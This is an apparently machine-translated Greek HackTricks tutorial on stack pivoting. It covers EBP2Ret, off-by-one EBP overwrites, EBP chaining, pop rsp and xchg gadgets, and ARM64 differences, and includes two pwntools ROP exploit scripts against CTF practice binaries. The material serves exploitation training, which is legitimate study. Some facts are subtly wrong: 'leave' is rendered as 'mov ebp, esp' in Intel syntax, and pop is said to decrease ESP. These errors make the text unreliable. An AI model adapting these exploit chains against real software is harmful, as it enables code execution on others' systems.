Stack Pivoting - EBP2Ret - EBP chaining

Support HackTricks

Basic Information

Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το Base Pointer (EBP) για να αλυσιοδέσει την εκτέλεση πολλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών leave; ret.

Ως υπενθύμιση, leave σημαίνει βασικά:

mov       ebp, esp
pop       ebp
ret

And as the EBP είναι στο stack πριν από το EIP είναι δυνατόν να το ελέγξετε ελέγχοντας το stack.

EBP2Ret

Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να αλλάξετε το EBP register αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP register. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση.

Εάν, κατά την εκτέλεση του fvuln, καταφέρετε να εισάγετε ένα ψεύτικο EBP στο stack που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία pop), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το fvuln επιστρέφει, το ESP ορίζεται σε αυτή την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία pop μειώνει το ESP κατά 4, κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί. Σημειώστε ότι πρέπει να γνωρίζετε 2 διευθύνσεις: Αυτή που θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP.

Κατασκευή Εκμετάλλευσης

Πρώτα πρέπει να γνωρίζετε μια διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις. Το ESP θα δείχνει εδώ και θα εκτελέσει το πρώτο ret.

Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το ret που θα εκτελέσει αυθαίρετο κώδικα. Μπορείτε να χρησιμοποιήσετε:

  • Μια έγκυρη ONE_GADGET διεύθυνση.

  • Τη διεύθυνση του system() ακολουθούμενη από 4 άχρηστα bytes και τη διεύθυνση του "/bin/sh" (x86 bits).

  • Τη διεύθυνση ενός gadget jump esp; (ret2esp) ακολουθούμενη από το shellcode που θα εκτελεστεί.

  • Μερική ROP αλυσίδα.

Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν 4 bytes λόγω του μέρους pop της εντολής leave. Θα ήταν δυνατό να καταχραστείτε αυτά τα 4B για να ορίσετε ένα δεύτερο ψεύτικο EBP και να συνεχίσετε να ελέγχετε την εκτέλεση.

Εκμετάλλευση Off-By-One

Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε να τροποποιήσετε μόνο το λιγότερο σημαντικό byte του EBP. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η ret πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες. Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά.

Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στο stack και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική ROP αλυσίδα εκτελείται.

EBP Chaining

Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο EBP του stack και μια διεύθυνση για leave; ret στο EIP, είναι δυνατόν να μετακινήσετε το ESP στη διεύθυνση EBP που ελέγχεται από το stack.

Τώρα, το ESP ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα RET. Για να το καταχραστείτε, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό:

  • &(next fake EBP) -> Φορτώνει το νέο EBP λόγω του pop ebp από την εντολή leave

  • system() -> Καλείται από το ret

  • &(leave;ret) -> Καλείται μετά την ολοκλήρωση του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά

  • &("/bin/sh")-> Παράμετρος για το system

Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.

Αυτό είναι σαν ένα ret2lib, αλλά πιο περίπλοκο χωρίς προφανές όφελος αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις.

Επιπλέον, εδώ έχετε ένα παράδειγμα μιας πρόκλησης που χρησιμοποιεί αυτή την τεχνική με μια διαρροή stack για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP μπορεί να μην χρησιμοποιείται

Όπως εξηγείται σε αυτή την ανάρτηση, αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις, το EBP ποτέ δεν ελέγχει το ESP, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά γιατί δεν έχει καμία πραγματική επίδραση. Αυτό συμβαίνει επειδή οι προλόγοι και οι επιλόγοι αλλάζουν αν το δυαδικό αρχείο είναι βελτιστοποιημένο.

  • Μη βελτιστοποιημένο:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Βελτιστοποιημένο:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Άλλοι τρόποι ελέγχου του RSP

pop rsp gadget

Σε αυτή τη σελίδα μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα pop rsp gadget και υπάρχει μια leak από τη στοίβα:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Δείτε την τεχνική ret2esp εδώ:

Ret2esp / Ret2reg

Αναφορές & Άλλα Παραδείγματα

ARM64

Στο ARM64, οι προλόγοι και οι επιλόγοι των συναρτήσεων δεν αποθηκεύουν και δεν ανακτούν το μητρώο SP στο stack. Επιπλέον, η εντολή RET δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά στη διεύθυνση μέσα στο x30.

Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο δεν θα μπορείτε να ελέγξετε το μητρώο SP αντικαθιστώντας κάποια δεδομένα μέσα στο stack. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να ελέγξετε το μητρώο x30.

  • πρόλογος

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • επίλογος

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να ελέγξετε το SP (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο SP ή επειδή για κάποιο λόγο το SP παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια να εκμεταλλευτείτε τον επίλογο για να φορτώσετε το μητρώο x30 από ένα ελεγχόμενο SP και να επιστρέψετε σε αυτό.

Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του Ret2esp στο ARM64:

Ret2esp / Ret2reg
Υποστήριξη HackTricks

Last updated